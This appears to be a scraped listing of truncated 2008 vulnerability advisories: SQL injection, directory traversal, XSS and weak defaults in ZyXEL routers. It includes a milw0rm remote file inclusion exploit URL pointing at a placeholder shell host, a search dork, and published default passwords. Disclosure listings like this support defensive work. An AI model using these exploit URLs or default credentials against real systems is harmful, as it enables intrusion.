CVE-2008-4592: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in index.php in Sports Clubs Web Panel 0.0.1 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the p parameter...

CVE-2008-4569: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in xlacomments.asp in XIGLA Software Absolute Poll Manager XE 4.1 allows remote attackers to execute arbitrary SQL commands via the p parameter...

CVE-2008-4375: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in viewprofile.php in Availscript Classmate Script allows remote attackers to execute arbitrary SQL commands via the p parameter...

CVE-2008-4351: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in index.php in phpSmartCom 0.2 allows remote attackers to include and execute arbitrary files via a .. dot dot in the p parameter...

E-Shop Shopping Cart Script (search_results.php) SQL Injection Vuln

No description provided by source. ephpscripts SQL Injection Bug Founded By Mormoroth This Portal Isnt Free Sp TNX to : imm02rtal-Magicboy-Yashi Lashi-DJ7xpl-R$p And Others www.mormoroth.net www.shabgard.org dork : Powered by ephpscripts Exploit :...

CVE-2008-3968: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in userlist.php in PunBB before 1.2.20 allows remote attackers to inject arbitrary web script or HTML via the p parameter...

Unfixed XSS vulnerability at www.booska-p.com

Security researcher PHPLizardo, has submitted on 18/08/2008 a cross-site-scripting XSS vulnerability affecting www.booska-p.com, which at the time of submission ranked 7542 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/06/2009. It is...

CVE-2008-3165: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in rss.php in fuzzylime cms 3.01a and earlier, when magicquotesgpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the p parameter, as demonstrated using content.php, a different vector than CVE-2007-4805...

CVE-2008-3090: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in index.php in BlognPlus BURO GUN + 2.5.5 MySQL and PostgreSQL editions allow remote attackers to execute arbitrary SQL commands via the 1 p, 2 e, 3 d, and 4 m parameters, a different vulnerability than CVE-2008-2819...

mod_autoindex XSS

Cross-site scripting XSS vulnerability in modautoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that th...

mod_autoindex XSS

Cross-site scripting XSS vulnerability in modautoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that th...

CVE-2008-2495: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in index.php in Zina 1.0 RC3 allows remote attackers to have an unknown impact via a .. dot dot in the p parameter...

Apache UTF-7 Encoding Cross-Site Scripting Vulnerability

Overview The modautoindex.c module in Apache HTTP Server is vulnerable to a cross-site scripting attack. When the charset on a server-generated page is undefined, the vulnerability allows attackers to inject arbitrary scripts or HTML via the P parameter using the UTF-7 charset. Impact An attacker...

scorpnews-rfi.txt

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...

ScorpNews 1.0 - site Remote File Inclusion

ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

CVE-2008-1539: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in includes/dynamictitles.php in PHP-Nuke Platinum 7.6.b.5 allows remote attackers to execute arbitrary SQL commands via the p parameter to modules.php for the Forums module...

CVE-2008-1521: Undefined Security Weakness

ZyXEL Prestige routers, including P-660 and P-661 models with firmware 3.40AGD.2 through 3.40AHQ.3, allow remote authenticated users to gain privileges by accessing administrative URIs, as demonstrated by rpSysAdmin.html...

CVE-2008-1522: Undefined Security Weakness

ZyXEL Prestige routers, including P-660 and P-661 models with firmware 3.40AGD.2 through 3.40AHQ.3, have 1 "user" as their default password for the "user" account and 2 "1234" as their default password for the "admin" account, which makes it easier for remote attackers to obtain access...

CVE-2008-1524: Undefined Security Weakness

The SNMP service on ZyXEL Prestige routers, including P-660 and P-661 models with firmware 3.40AGD.2 through 3.40AHQ.3, has "public" as its default community for both 1 read and 2 write operations, which allows remote attackers to perform administrative actions via SNMP, as demonstrated by readin...

CVE-2008-1526: Use of Password Hash With Insufficient Computational Effort

ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40PE9 and 3.40AGD.2 through 3.40AHQ.3, do not use a salt when calculating an MD5 password hash, which makes it easier for attackers to crack passwords...